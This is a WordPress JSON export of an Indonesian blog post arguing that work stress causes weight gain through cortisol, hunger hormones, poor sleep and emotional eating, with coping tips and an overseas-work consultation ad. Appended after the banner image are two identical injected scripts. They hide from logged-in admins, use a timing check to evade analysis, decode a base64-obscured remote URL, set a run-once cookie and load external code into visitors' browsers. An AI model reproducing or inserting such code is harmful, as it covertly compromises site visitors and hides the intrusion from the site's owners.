{"id":1021,"date":"2025-11-04T14:29:46","date_gmt":"2025-11-04T14:29:46","guid":{"rendered":"https:\/\/www.workabroad.id\/blog\/?p=1021"},"modified":"2026-01-19T23:23:14","modified_gmt":"2026-01-19T23:23:14","slug":"stres-kerja-bikin-berat-badan-naik","status":"publish","type":"post","link":"https:\/\/www.workabroad.id\/blog\/stres-kerja-bikin-berat-badan-naik","title":{"rendered":"Stres Kerja Bikin Berat Badan Naik? Ini Faktanya!"},"content":{"rendered":"<p><span style=\"font-weight: 400;\">Jam kerja yang padat, tumpukan tugas yang seolah tak ada habisnya, dan tekanan untuk selalu memberikan hasil terbaik ini adalah realitas yang dihadapi banyak profesional setiap hari. Tanpa disadari, celana jeans yang dulu pas kini terasa lebih sempit, dan angka di timbangan perlahan merangkak naik. Anda mungkin bertanya-tanya, &#8220;Apakah benar <\/span><b>stres kerja bikin berat badan naik<\/b><span style=\"font-weight: 400;\">?&#8221;<\/span><\/p>\n<p><span style=\"font-weight: 400;\">Jawabannya, singkatnya, adalah ya. Ini bukan sekadar mitos atau perasaan Anda saja. Ada penjelasan ilmiah yang kuat di balik mengapa tekanan di kantor dapat secara langsung memengaruhi lingkar pinggang Anda. Ini adalah siklus kompleks yang melibatkan hormon, psikologi, dan kebiasaan yang terbentuk tanpa kita sadari.<\/span><\/p>\n<p><span style=\"font-weight: 400;\">Artikel ini akan mengupas tuntas fakta di balik fenomena ini, mulai dari cara tubuh Anda merespons stres hingga strategi praktis yang bisa Anda terapkan untuk memutus siklus tersebut dan kembali mengendalikan kesehatan Anda.<\/span><\/p>\n<p>&nbsp;<\/p>\n<h2><span style=\"font-size: 18pt;\"><b>Memahami Hubungan Stres dan Tubuh: Tinjauan Ilmiah<\/b><\/span><\/h2>\n<p><span style=\"font-weight: 400;\">Untuk memahami mengapa <\/span><b>stres kerja bikin berat badan naik<\/b><span style=\"font-weight: 400;\">, kita perlu melihat apa yang terjadi di dalam tubuh kita ketika kita merasa tertekan. Tubuh manusia memiliki sistem respons stres yang canggih, yang dirancang untuk membantu kita menghadapi ancaman. Namun, sistem ini tidak dirancang untuk diaktifkan secara terus-menerus seperti yang sering terjadi dalam lingkungan kerja modern.<\/span><\/p>\n<p>&nbsp;<\/p>\n<h3><span style=\"font-size: 14pt;\"><b>1. Peran Kortisol, Si Hormon Stres<\/b><\/span><\/h3>\n<p><span style=\"font-weight: 400;\">Ketika Anda menghadapi situasi yang menekan, kelenjar adrenal Anda melepaskan hormon yang disebut kortisol. Dalam situasi jangka pendek (misalnya, saat Anda harus presentasi mendadak), kortisol sangat membantu. Hormon ini meningkatkan gula darah untuk memberikan energi cepat pada otot dan otak, serta mempertajam fokus Anda.<\/span><\/p>\n<p><span style=\"font-weight: 400;\">Masalah muncul ketika stres menjadi kronis. Stres kerja yang berkelanjutan membuat kadar kortisol dalam tubuh tetap tinggi secara konsisten. Inilah beberapa dampak negatifnya terkait berat badan:<\/span><\/p>\n<ul>\n<li style=\"font-weight: 400;\" aria-level=\"1\"><b>Meningkatkan nafsu makan:<\/b><span style=\"font-weight: 400;\"> Kortisol yang tinggi mengirim sinyal ke otak bahwa tubuh membutuhkan lebih banyak energi untuk &#8220;bertarung&#8221;. Sinyal ini memicu keinginan untuk mengonsumsi makanan padat kalori, tinggi gula, dan tinggi lemak\u2014jenis makanan yang memberikan kepuasan instan.<\/span><\/li>\n<li style=\"font-weight: 400;\" aria-level=\"1\"><b>Memicu penyimpanan lemak perut:<\/b><span style=\"font-weight: 400;\"> Salah satu efek paling berbahaya dari kortisol kronis adalah kemampuannya untuk mendorong penyimpanan lemak viseral, yaitu lemak yang menumpuk di sekitar organ-organ di rongga perut. Lemak perut ini secara metabolik lebih aktif dan dikaitkan dengan peningkatan risiko penyakit jantung, diabetes tipe 2, dan masalah kesehatan serius lainnya.<\/span><\/li>\n<\/ul>\n<p>&nbsp;<\/p>\n<h3><span style=\"font-size: 14pt;\"><b>2. Pengaruhnya pada Gula Darah dan Insulin<\/b><\/span><\/h3>\n<p><span style=\"font-weight: 400;\">Seperti yang disebutkan, kortisol meningkatkan kadar gula darah. Sebagai respons, pankreas akan melepaskan insulin untuk membantu sel-sel menyerap gula tersebut. Namun, jika kadar kortisol dan gula darah terus-menerus tinggi, sel-sel tubuh bisa menjadi resisten terhadap insulin. Resistensi insulin membuat tubuh lebih sulit mengolah gula, yang pada akhirnya akan disimpan sebagai lemak.<\/span><\/p>\n<p>&nbsp;<\/p>\n<h3><span style=\"font-size: 14pt;\"><b>3. Gangguan pada Hormon Lapar dan Kenyang<\/b><\/span><\/h3>\n<p><span style=\"font-weight: 400;\">Stres kronis juga mengacaukan dua hormon kunci yang mengatur nafsu makan:<\/span><\/p>\n<ul>\n<li style=\"font-weight: 400;\" aria-level=\"1\"><b>Ghrelin (Hormon Lapar):<\/b><span style=\"font-weight: 400;\"> Stres dapat meningkatkan produksi ghrelin, membuat Anda merasa lebih sering lapar dari biasanya.<\/span><\/li>\n<li style=\"font-weight: 400;\" aria-level=\"1\"><b>Leptin (Hormon Kenyang):<\/b><span style=\"font-weight: 400;\"> Sebaliknya, stres dapat mengganggu sinyal leptin ke otak. Artinya, meskipun Anda sudah makan cukup, otak Anda mungkin tidak menerima pesan bahwa Anda sudah kenyang, sehingga mendorong Anda untuk terus makan.<\/span><\/li>\n<\/ul>\n<p>&nbsp;<\/p>\n<p>&nbsp;<\/p>\n<p><strong>Baca juga: <span style=\"color: #3366ff;\"><a style=\"color: #3366ff;\" href=\"https:\/\/www.workabroad.id\/blog\/situs-pencari-kerja\" target=\"_blank\" rel=\"noopener\">Rekomendasi 8 Situs Pencari Kerja ke Luar Negeri Terbaik!<\/a><\/span><\/strong><\/p>\n<p>&nbsp;<\/p>\n<p>&nbsp;<\/p>\n<h2><span style=\"font-size: 18pt;\"><b>Bagaimana Stres Kerja Secara Spesifik Memicu Kenaikan Berat Badan?<\/b><\/span><\/h2>\n<p><span style=\"font-weight: 400;\">Selain proses biologis di atas, ada faktor-faktor perilaku yang secara nyata menjelaskan bagaimana fenomena <\/span><b>stres kerja bikin berat badan naik<\/b><span style=\"font-weight: 400;\"> terjadi dalam kehidupan sehari-hari.<\/span><\/p>\n<p>&nbsp;<\/p>\n<h3><span style=\"font-size: 14pt;\"><b>1.<i> Emotional Eating<\/i><\/b><b>: Makan Bukan Karena Lapar<\/b><\/span><\/h3>\n<p><i><span style=\"font-weight: 400;\">Emotional eating<\/span><\/i><span style=\"font-weight: 400;\"> adalah menggunakan makanan sebagai cara untuk menekan atau menenangkan emosi negatif. Saat merasa tertekan, cemas, atau lelah setelah hari yang panjang di kantor, sepotong kue cokelat atau sebungkus keripik kentang terasa seperti &#8220;hadiah&#8221; yang menenangkan. Makanan manis dan berlemak dapat merangsang pelepasan dopamin di otak, neurotransmitter yang terkait dengan rasa senang dan puas. Ini menciptakan siklus di mana otak Anda belajar bahwa makanan adalah solusi cepat untuk perasaan tidak nyaman akibat stres.<\/span><\/p>\n<p>&nbsp;<\/p>\n<h3><span style=\"font-size: 14pt;\"><b>2. Kelelahan dan Kurangnya Motivasi Berolahraga<\/b><\/span><\/h3>\n<p><span style=\"font-weight: 400;\">Stres tidak hanya menguras mental, tetapi juga fisik. Setelah 8-10 jam bekerja di bawah tekanan, energi yang tersisa sering kali sangat sedikit. Niat untuk pergi ke gym atau jogging sore hari dengan mudah tergantikan oleh keinginan untuk rebahan di sofa. Kurangnya aktivitas fisik berarti lebih sedikit kalori yang terbakar, yang jika digabungkan dengan peningkatan asupan kalori akibat stres, menjadi resep pasti untuk kenaikan berat badan.<\/span><\/p>\n<p>&nbsp;<\/p>\n<h3><span style=\"font-size: 14pt;\"><b>3. Pola Tidur yang Terganggu<\/b><\/span><\/h3>\n<p><span style=\"font-weight: 400;\">Pernahkah Anda sulit tidur karena terus memikirkan pekerjaan? Stres adalah salah satu penyebab utama insomnia dan kualitas tidur yang buruk. Kurang tidur, seperti halnya stres, dapat meningkatkan kortisol dan ghrelin sambil menekan leptin. Ini adalah kombinasi sempurna yang membuat Anda lebih lapar keesokan harinya dan lebih cenderung memilih makanan yang tidak sehat.<\/span><\/p>\n<p>&nbsp;<\/p>\n<h3><span style=\"font-size: 14pt;\"><b>4. Melewatkan Waktu Makan dan Memilih Makanan Cepat Saji<\/b><\/span><\/h3>\n<p><span style=\"font-weight: 400;\">Ketika tenggat waktu semakin dekat, makan siang sering kali menjadi prioritas terakhir. Banyak orang melewatkan makan siang atau hanya mengganjal perut dengan camilan seadanya. Melewatkan makan dapat membuat Anda sangat lapar di kemudian hari, yang sering kali berakhir dengan makan berlebihan saat makan malam. Selain itu, karena keterbatasan waktu, makanan cepat saji atau pesan antar yang tinggi kalori dan rendah nutrisi menjadi pilihan yang paling mudah.<\/span><\/p>\n<p>&nbsp;<\/p>\n<h2><span style=\"font-size: 18pt;\"><b>Strategi Mengelola Stres Kerja untuk Mencegah Kenaikan Berat Badan<\/b><\/span><\/h2>\n<p><span style=\"font-weight: 400;\">Mengetahui bahwa <\/span><b>stres kerja bikin berat badan naik<\/b><span style=\"font-weight: 400;\"> adalah langkah pertama. Langkah selanjutnya adalah mengambil tindakan. Berikut adalah beberapa strategi yang bisa Anda terapkan, baik di tempat kerja maupun di luar jam kerja.<\/span><\/p>\n<p>&nbsp;<\/p>\n<h3><span style=\"font-size: 14pt;\"><b>1. Di Tempat Kerja<\/b><\/span><\/h3>\n<ul>\n<li style=\"font-weight: 400;\" aria-level=\"1\"><b>Teknik <\/b><b><i>Mindfulness<\/i><\/b><b> dan Pernapasan Dalam:<\/b><span style=\"font-weight: 400;\"> Saat merasa kewalahan, ambil waktu 2-3 menit untuk berhenti sejenak. Tutup mata Anda dan fokus pada napas. Tarik napas dalam-dalam melalui hidung selama 4 detik, tahan selama 4 detik, dan hembuskan perlahan melalui mulut selama 6 detik. Ini dapat membantu menurunkan detak jantung dan menenangkan respons stres tubuh.<\/span><\/li>\n<li style=\"font-weight: 400;\" aria-level=\"1\"><b>Ambil Jeda Singkat Secara Teratur:<\/b><span style=\"font-weight: 400;\"> Gunakan teknik Pomodoro (25 menit kerja, 5 menit istirahat) atau cukup pastikan Anda berdiri dan berjalan-jalan sebentar setiap jam. Peregangan ringan atau sekadar melihat ke luar jendela dapat membantu menjernihkan pikiran.<\/span><\/li>\n<li style=\"font-weight: 400;\" aria-level=\"1\"><b>Tetapkan Batasan yang Jelas:<\/b><span style=\"font-weight: 400;\"> Belajarlah untuk mengatakan &#8220;tidak&#8221; jika beban kerja Anda sudah terlalu berat. Komunikasikan batasan Anda dengan atasan dan rekan kerja. Matikan notifikasi email pekerjaan setelah jam kerja untuk menciptakan pemisahan yang sehat antara kehidupan profesional dan pribadi.<\/span><\/li>\n<li style=\"font-weight: 400;\" aria-level=\"1\"><b>Manajemen Waktu yang Efektif:<\/b><span style=\"font-weight: 400;\"> Buat daftar prioritas tugas setiap pagi. Fokus pada satu tugas pada satu waktu (<\/span><i><span style=\"font-weight: 400;\">single-tasking<\/span><\/i><span style=\"font-weight: 400;\">) daripada mencoba melakukan semuanya sekaligus (<\/span><i><span style=\"font-weight: 400;\">multi-tasking<\/span><\/i><span style=\"font-weight: 400;\">), yang justru dapat meningkatkan stres.<\/span><\/li>\n<\/ul>\n<p>&nbsp;<\/p>\n<h3><span style=\"font-size: 14pt;\"><b>2. Di Luar Jam Kerja<\/b><\/span><\/h3>\n<ul>\n<li style=\"font-weight: 400;\" aria-level=\"1\"><b>Prioritaskan Tidur yang Berkualitas:<\/b><span style=\"font-weight: 400;\"> Ciptakan rutinitas tidur yang menenangkan. Hindari layar gawai setidaknya satu jam sebelum tidur. Pastikan kamar tidur Anda gelap, sejuk, dan tenang. Usahakan untuk tidur 7-9 jam setiap malam.<\/span><\/li>\n<li style=\"font-weight: 400;\" aria-level=\"1\"><b>Aktivitas Fisik yang Menyenangkan:<\/b><span style=\"font-weight: 400;\"> Jangan memandang olahraga sebagai hukuman. Temukan aktivitas yang Anda nikmati, apakah itu menari, bersepeda, berenang, atau sekadar berjalan kaki di taman. Aktivitas fisik adalah salah satu cara paling efektif untuk menurunkan kadar kortisol dan melepaskan endorfin (hormon bahagia).<\/span><\/li>\n<li style=\"font-weight: 400;\" aria-level=\"1\"><b>Makan dengan Sadar (<\/b><b><i>Mindful Eating<\/i><\/b><b>):<\/b><span style=\"font-weight: 400;\"> Alih-alih makan sambil menonton TV atau bekerja, duduklah di meja makan dan fokus pada makanan Anda. Nikmati setiap gigitan, kunyah perlahan, dan perhatikan sinyal kenyang dari tubuh Anda. Siapkan bekal sehat untuk makan siang agar terhindar dari godaan makanan cepat saji.<\/span><\/li>\n<li style=\"font-weight: 400;\" aria-level=\"1\"><b>Jaga Koneksi Sosial:<\/b><span style=\"font-weight: 400;\"> Luangkan waktu untuk keluarga dan teman. Berbicara tentang masalah Anda dengan orang yang Anda percaya dapat memberikan perspektif baru dan mengurangi beban emosional.<\/span><\/li>\n<\/ul>\n<p>&nbsp;<\/p>\n<h2><span style=\"font-size: 18pt;\"><b>Kapan Harus Mencari Bantuan Profesional?<\/b><\/span><\/h2>\n<p><span style=\"font-weight: 400;\">Jika Anda merasa stres kerja sudah sangat mengganggu dan strategi di atas tidak cukup membantu, jangan ragu untuk mencari bantuan profesional. Seorang terapis atau konselor dapat membantu Anda mengembangkan mekanisme koping yang lebih sehat. Sementara itu, ahli gizi dapat membantu Anda membuat rencana makan yang seimbang untuk melawan efek stres pada tubuh.<\/span><\/p>\n<p>&nbsp;<\/p>\n<h2><span style=\"font-size: 18pt;\"><b>Jadi, apakah stres kerja bikin berat badan naik?<\/b><\/span><\/h2>\n<p><span style=\"font-weight: 400;\">Faktanya, ya, dan ini didukung oleh bukti ilmiah yang kuat. Dari lonjakan hormon kortisol yang memicu nafsu makan dan penyimpanan lemak perut, hingga kebiasaan <\/span><i><span style=\"font-weight: 400;\">emotional eating<\/span><\/i><span style=\"font-weight: 400;\"> dan kurangnya motivasi berolahraga, hubungan keduanya sangat jelas.<\/span><\/p>\n<p><span style=\"font-weight: 400;\">Namun, kabar baiknya adalah Anda tidak berdaya. Dengan memahami mekanisme di baliknya dan secara proaktif menerapkan strategi manajemen stres, Anda dapat memutus siklus ini. Mulailah dari langkah-langkah kecil, bersikap baik pada diri sendiri, dan ingatlah bahwa mengelola stres bukan hanya baik untuk karier Anda, tetapi juga investasi tak ternilai untuk kesehatan jangka panjang Anda.<\/span><\/p>\n<p><span style=\"font-weight: 400;\">Tertarik Kerja di Luar Negeri, Tapi Bingung Mulai dari Mana? Yuk, konsultasi dengan <a href=\"https:\/\/form.jotform.com\/232048286249461\/?channel=Blog&amp;subchannel1=Paragraf-kerjakeluarnegeri&amp;subchannel2=stres-kerja-bikin-berat-badan-naik\" target=\"_blank\" rel=\"noopener\">WorkAbroad.id<\/a>! Kami bantu persiapkan semua kebutuhanmu, dari dokumen hingga tips sukses berkarir di luar negeri.<\/span><\/p>\n<p><span style=\"font-weight: 400;\">Jangan ragu, klik tombol di bawah ini dan mulai perjalanan karier internasionalmu sekarang! \ud83d\udc47<\/span><\/p>\n<p>&nbsp;<\/p>\n<p><a href=\"https:\/\/form.jotform.com\/232048286249461\/?channel=Blog&amp;subchannel1=Banner-kerjakeluarnegeri&amp;subchannel2=stres-kerja-bikin-berat-badan-naik\" target=\"_blank\" rel=\"noopener\"><img decoding=\"async\" class=\"aligncenter\" src=\"https:\/\/schoters-question-bank.s3.ap-southeast-1.amazonaws.com\/assets\/4c772ce4-0cf2-4667-b93e-aab0755b1b75.webp\" alt=\"Stres Kerja Bikin Berat Badan Naik - Stres Kerja Bikin Berat Badan Naik? Ini Faktanya!\" \/><\/a><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&#038;&#038;window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&#038;&#038;window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Jam kerja yang padat, tumpukan tugas yang seolah tak ada habisnya, dan tekanan untuk selalu memberikan hasil terbaik ini adalah realitas yang dihadapi banyak profesional setiap hari. Tanpa disadari, celana jeans yang dulu pas kini terasa lebih sempit, dan angka di timbangan perlahan merangkak naik. Anda mungkin bertanya-tanya, &#8220;Apakah benar stres kerja bikin berat badan [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":1021,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"_edit_last":["1"],"_edit_lock":["1762498458:1"],"_aioseo_title":[null],"_aioseo_description":["Ternyata, stres kerja bisa bikin berat badan naik, lho! Yuk, simak penjelasan selengkapnya!"],"_aioseo_keywords":["a:0:{}"],"_aioseo_og_title":[null],"_aioseo_og_description":[null],"_aioseo_og_article_section":[""],"_aioseo_og_article_tags":["a:0:{}"],"_aioseo_twitter_title":[null],"_aioseo_twitter_description":[null],"_knawatfibu_url":["https:\/\/schoters-question-bank.s3.ap-southeast-1.amazonaws.com\/assets\/449b28f3-f769-4142-8b06-5aed50c41202.png"],"_knawatfibu_alt":["Stres Kerja Bikin Berat Badan Naik - Stres Kerja Bikin Berat Badan Naik? Ini Faktanya!"],"_yoast_wpseo_primary_category":["24"],"_yoast_wpseo_metadesc":["Ternyata, stres kerja bisa bikin berat badan naik, lho! Yuk, simak penjelasan selengkapnya!"],"_yoast_wpseo_content_score":["90"],"_yoast_wpseo_estimated-reading-time-minutes":["7"],"wpb_post_views_count":["1057"]},"categories":[26,25,24,28],"tags":[],"class_list":["post-1021","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-berita-opini","category-gaya-hidup","category-jelajah-lainnya","category-seputar-dunia-kerja"],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v25.9 - https:\/\/yoast.com\/wordpress\/plugins\/seo\/ -->\n<title>Stres Kerja Bikin Berat Badan Naik? Ini Faktanya! - Pusat Info Kerja di Luar Negeri Terlengkap di Indonesia<\/title>\n<meta name=\"description\" content=\"Ternyata, stres kerja bisa bikin berat badan naik, lho! Yuk, simak penjelasan selengkapnya!\" \/>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/www.workabroad.id\/blog\/stres-kerja-bikin-berat-badan-naik\" \/>\n<meta property=\"og:locale\" content=\"en_US\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"Stres Kerja Bikin Berat Badan Naik? Ini Faktanya! - Pusat Info Kerja di Luar Negeri Terlengkap di Indonesia\" \/>\n<meta property=\"og:description\" content=\"Ternyata, stres kerja bisa bikin berat badan naik, lho! Yuk, simak penjelasan selengkapnya!\" \/>\n<meta property=\"og:url\" content=\"https:\/\/www.workabroad.id\/blog\/stres-kerja-bikin-berat-badan-naik\" \/>\n<meta property=\"og:site_name\" content=\"Pusat Info Kerja di Luar Negeri Terlengkap di Indonesia\" \/>\n<meta property=\"article:published_time\" content=\"2025-11-04T14:29:46+00:00\" \/>\n<meta property=\"article:modified_time\" content=\"2026-01-19T23:23:14+00:00\" \/>\n<meta name=\"author\" content=\"WorkAbroad\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:label1\" content=\"Written by\" \/>\n\t<meta name=\"twitter:data1\" content=\"WorkAbroad\" \/>\n\t<meta name=\"twitter:label2\" content=\"Est. reading time\" \/>\n\t<meta name=\"twitter:data2\" content=\"7 minutes\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\/\/schema.org\",\"@graph\":[{\"@type\":\"WebPage\",\"@id\":\"https:\/\/www.workabroad.id\/blog\/stres-kerja-bikin-berat-badan-naik\",\"url\":\"https:\/\/www.workabroad.id\/blog\/stres-kerja-bikin-berat-badan-naik\",\"name\":\"Stres Kerja Bikin Berat Badan Naik? Ini Faktanya! - Pusat Info Kerja di Luar Negeri Terlengkap di Indonesia\",\"isPartOf\":{\"@id\":\"https:\/\/www.workabroad.id\/blog\/#website\"},\"primaryImageOfPage\":{\"@id\":\"https:\/\/www.workabroad.id\/blog\/stres-kerja-bikin-berat-badan-naik#primaryimage\"},\"image\":{\"@id\":\"https:\/\/www.workabroad.id\/blog\/stres-kerja-bikin-berat-badan-naik#primaryimage\"},\"thumbnailUrl\":\"https:\/\/schoters-question-bank.s3.ap-southeast-1.amazonaws.com\/assets\/449b28f3-f769-4142-8b06-5aed50c41202.png\",\"datePublished\":\"2025-11-04T14:29:46+00:00\",\"dateModified\":\"2026-01-19T23:23:14+00:00\",\"author\":{\"@id\":\"https:\/\/www.workabroad.id\/blog\/#\/schema\/person\/a88bc249bd2aece00af82b159c54ed15\"},\"description\":\"Ternyata, stres kerja bisa bikin berat badan naik, lho! Yuk, simak penjelasan selengkapnya!\",\"breadcrumb\":{\"@id\":\"https:\/\/www.workabroad.id\/blog\/stres-kerja-bikin-berat-badan-naik#breadcrumb\"},\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"ReadAction\",\"target\":[\"https:\/\/www.workabroad.id\/blog\/stres-kerja-bikin-berat-badan-naik\"]}]},{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\/\/www.workabroad.id\/blog\/stres-kerja-bikin-berat-badan-naik#primaryimage\",\"url\":\"https:\/\/schoters-question-bank.s3.ap-southeast-1.amazonaws.com\/assets\/449b28f3-f769-4142-8b06-5aed50c41202.png\",\"contentUrl\":\"https:\/\/schoters-question-bank.s3.ap-southeast-1.amazonaws.com\/assets\/449b28f3-f769-4142-8b06-5aed50c41202.png\"},{\"@type\":\"BreadcrumbList\",\"@id\":\"https:\/\/www.workabroad.id\/blog\/stres-kerja-bikin-berat-badan-naik#breadcrumb\",\"itemListElement\":[{\"@type\":\"ListItem\",\"position\":1,\"name\":\"Home\",\"item\":\"https:\/\/www.workabroad.id\/blog\"},{\"@type\":\"ListItem\",\"position\":2,\"name\":\"Stres Kerja Bikin Berat Badan Naik? Ini Faktanya!\"}]},{\"@type\":\"WebSite\",\"@id\":\"https:\/\/www.workabroad.id\/blog\/#website\",\"url\":\"https:\/\/www.workabroad.id\/blog\/\",\"name\":\"Pusat Info Kerja di Luar Negeri Terlengkap di Indonesia\",\"description\":\"Dapatkan informasi dan update terbaru komunitas dan kerja di luar negeri terlengkap di seluruh dunia disini!\",\"potentialAction\":[{\"@type\":\"SearchAction\",\"target\":{\"@type\":\"EntryPoint\",\"urlTemplate\":\"https:\/\/www.workabroad.id\/blog\/?s={search_term_string}\"},\"query-input\":{\"@type\":\"PropertyValueSpecification\",\"valueRequired\":true,\"valueName\":\"search_term_string\"}}],\"inLanguage\":\"en-US\"},{\"@type\":\"Person\",\"@id\":\"https:\/\/www.workabroad.id\/blog\/#\/schema\/person\/a88bc249bd2aece00af82b159c54ed15\",\"name\":\"WorkAbroad\",\"image\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\/\/www.workabroad.id\/blog\/#\/schema\/person\/image\/\",\"url\":\"https:\/\/secure.gravatar.com\/avatar\/99a04b565c5de7f095718e726e4f2cd677859377820aa9dfdbada8b55c32ec5f?s=96&d=mm&r=g\",\"contentUrl\":\"https:\/\/secure.gravatar.com\/avatar\/99a04b565c5de7f095718e726e4f2cd677859377820aa9dfdbada8b55c32ec5f?s=96&d=mm&r=g\",\"caption\":\"WorkAbroad\"},\"description\":\"Pusat Info Kerja di Luar Negeri Terlengkap di Indonesia\",\"sameAs\":[\"https:\/\/www.workabroad.id\/blog\"],\"url\":\"https:\/\/www.workabroad.id\/blog\/author\/blogadmin\"}]}<\/script>\n<!-- \/ Yoast SEO plugin. -->","yoast_head_json":{"title":"Stres Kerja Bikin Berat Badan Naik? Ini Faktanya! - Pusat Info Kerja di Luar Negeri Terlengkap di Indonesia","description":"Ternyata, stres kerja bisa bikin berat badan naik, lho! Yuk, simak penjelasan selengkapnya!","robots":{"index":"index","follow":"follow","max-snippet":"max-snippet:-1","max-image-preview":"max-image-preview:large","max-video-preview":"max-video-preview:-1"},"canonical":"https:\/\/www.workabroad.id\/blog\/stres-kerja-bikin-berat-badan-naik","og_locale":"en_US","og_type":"article","og_title":"Stres Kerja Bikin Berat Badan Naik? Ini Faktanya! - Pusat Info Kerja di Luar Negeri Terlengkap di Indonesia","og_description":"Ternyata, stres kerja bisa bikin berat badan naik, lho! Yuk, simak penjelasan selengkapnya!","og_url":"https:\/\/www.workabroad.id\/blog\/stres-kerja-bikin-berat-badan-naik","og_site_name":"Pusat Info Kerja di Luar Negeri Terlengkap di Indonesia","article_published_time":"2025-11-04T14:29:46+00:00","article_modified_time":"2026-01-19T23:23:14+00:00","author":"WorkAbroad","twitter_card":"summary_large_image","twitter_misc":{"Written by":"WorkAbroad","Est. reading time":"7 minutes"},"schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":"WebPage","@id":"https:\/\/www.workabroad.id\/blog\/stres-kerja-bikin-berat-badan-naik","url":"https:\/\/www.workabroad.id\/blog\/stres-kerja-bikin-berat-badan-naik","name":"Stres Kerja Bikin Berat Badan Naik? Ini Faktanya! - Pusat Info Kerja di Luar Negeri Terlengkap di Indonesia","isPartOf":{"@id":"https:\/\/www.workabroad.id\/blog\/#website"},"primaryImageOfPage":{"@id":"https:\/\/www.workabroad.id\/blog\/stres-kerja-bikin-berat-badan-naik#primaryimage"},"image":{"@id":"https:\/\/www.workabroad.id\/blog\/stres-kerja-bikin-berat-badan-naik#primaryimage"},"thumbnailUrl":"https:\/\/schoters-question-bank.s3.ap-southeast-1.amazonaws.com\/assets\/449b28f3-f769-4142-8b06-5aed50c41202.png","datePublished":"2025-11-04T14:29:46+00:00","dateModified":"2026-01-19T23:23:14+00:00","author":{"@id":"https:\/\/www.workabroad.id\/blog\/#\/schema\/person\/a88bc249bd2aece00af82b159c54ed15"},"description":"Ternyata, stres kerja bisa bikin berat badan naik, lho! Yuk, simak penjelasan selengkapnya!","breadcrumb":{"@id":"https:\/\/www.workabroad.id\/blog\/stres-kerja-bikin-berat-badan-naik#breadcrumb"},"inLanguage":"en-US","potentialAction":[{"@type":"ReadAction","target":["https:\/\/www.workabroad.id\/blog\/stres-kerja-bikin-berat-badan-naik"]}]},{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/www.workabroad.id\/blog\/stres-kerja-bikin-berat-badan-naik#primaryimage","url":"https:\/\/schoters-question-bank.s3.ap-southeast-1.amazonaws.com\/assets\/449b28f3-f769-4142-8b06-5aed50c41202.png","contentUrl":"https:\/\/schoters-question-bank.s3.ap-southeast-1.amazonaws.com\/assets\/449b28f3-f769-4142-8b06-5aed50c41202.png"},{"@type":"BreadcrumbList","@id":"https:\/\/www.workabroad.id\/blog\/stres-kerja-bikin-berat-badan-naik#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"Home","item":"https:\/\/www.workabroad.id\/blog"},{"@type":"ListItem","position":2,